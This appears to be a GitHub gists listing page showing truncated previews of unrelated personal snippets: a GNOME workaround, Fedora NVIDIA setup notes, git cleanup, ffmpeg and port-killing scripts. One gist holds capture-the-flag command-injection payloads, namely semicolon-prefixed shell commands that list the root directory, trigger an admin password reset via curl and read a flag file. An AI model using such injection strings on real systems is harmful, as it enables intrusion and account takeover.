I've found that my second display often becomes disabled or mirrored after waking my pc from suspend when using the GNOME desktop environment.
My workaround is to restart the GNOME shell using ALT+F2 and then typing r and hitting return.
import csv | |
import json | |
with open('source.csv') as csvfile, open("target.jsonl", "a") as jsonfile: | |
r = csv.reader(csvfile) | |
next(r, None) | |
for row in r: | |
model = { | |
"messages": [ | |
{ |
#!/bin/bash | |
# Converts Naruto Kai .mkv episodes with separate subtitle streams to .mp4 with hardcoded subtitles. | |
# Chromecast doesn't like the subtitle streams and displays them with no spacing. | |
# The script uses ffmpeg with nvidia hardware acceleration. | |
# | |
# Recommend to dryrun first which will echo all commands that it will run. If you're happy with it, | |
# then run the script without the dryrun flag | |
# Usage: ./naruto-kai-sub-fix.sh /dir/to/search -dryrun | |
# Usage: ./naruto-kai-sub-fix.sh /dir/to/search |
I've found that my second display often becomes disabled or mirrored after waking my pc from suspend when using the GNOME desktop environment.
My workaround is to restart the GNOME shell using ALT+F2 and then typing r and hitting return.
; ls -la / echo; | |
; curl "https://login.oasc.ctf.infosec.amazon.dev/reset?user=admin" -v; | |
; cat /sup3r-0bscuR3-n@m3-0f_TH3_fl4g.txt; | |
2 | |
3 |
These are the steps I took for the installation of the NVIDIA drivers and CUDA toolkit for use with TensorFlow on Fedora 35. I have documented them since I had a lot of difficulty getting it to work and couldn't boot to a graphical desktop a few times. These steps worked for me, hopefully they do for others.
I am running on a 64 bit system and used KDE Plasma with X11 so these instructions may differ for people using GNOME, Wayland and any other combinations.
akmod-nvidia
drivers from the @rpmfusion-nonfree
repo, remove them completely.sudo dnf list installed | egrep '(nvidia|cuda)'
nvidia-driver
module is enabled, disable it - sudo dnf module disable nvidia-driver
- this caused me issues when trying to install the akmod driversFWIW: I'm not the author of the content presented here (which is an outline from Edmond Lau's book). I've just copy-pasted it from somewhere over the Internet, but I cannot remember what exactly the original source is. I was also not able to find the author's name, so I cannot give him/her the proper credits.
for gitDir in *; do | |
headBranch=$(git -C "$gitDir" symbolic-ref --short HEAD) | |
git -C "$gitDir" checkout "$headBranch" | |
git -C "$gitDir" pull | |
for branch in $(git -C "$gitDir" for-each-ref --format '%(refname) %(upstream:track)' refs/heads | awk '$2 == "[gone]" {sub("refs/heads/", "", $1); print $1}'); do | |
git branch -D $branch | |
done | |
done |
#!/bin/bash | |
re='^[0-9]+$' | |
if ! [[ $1 =~ $re ]] ; then | |
echo "error: Port must be a number" >&2; exit 1 | |
fi | |
pids=( $(sudo lsof -ti:$1) ) | |
if [[ ! -z "$pids" ]] | |
then |
git fetch -p && for branch in $(git for-each-ref --format '%(refname) %(upstream:track)' refs/heads | awk '$2 == "[gone]" {sub("refs/heads/", "", $1); print $1}'); do git branch -D $branch; done |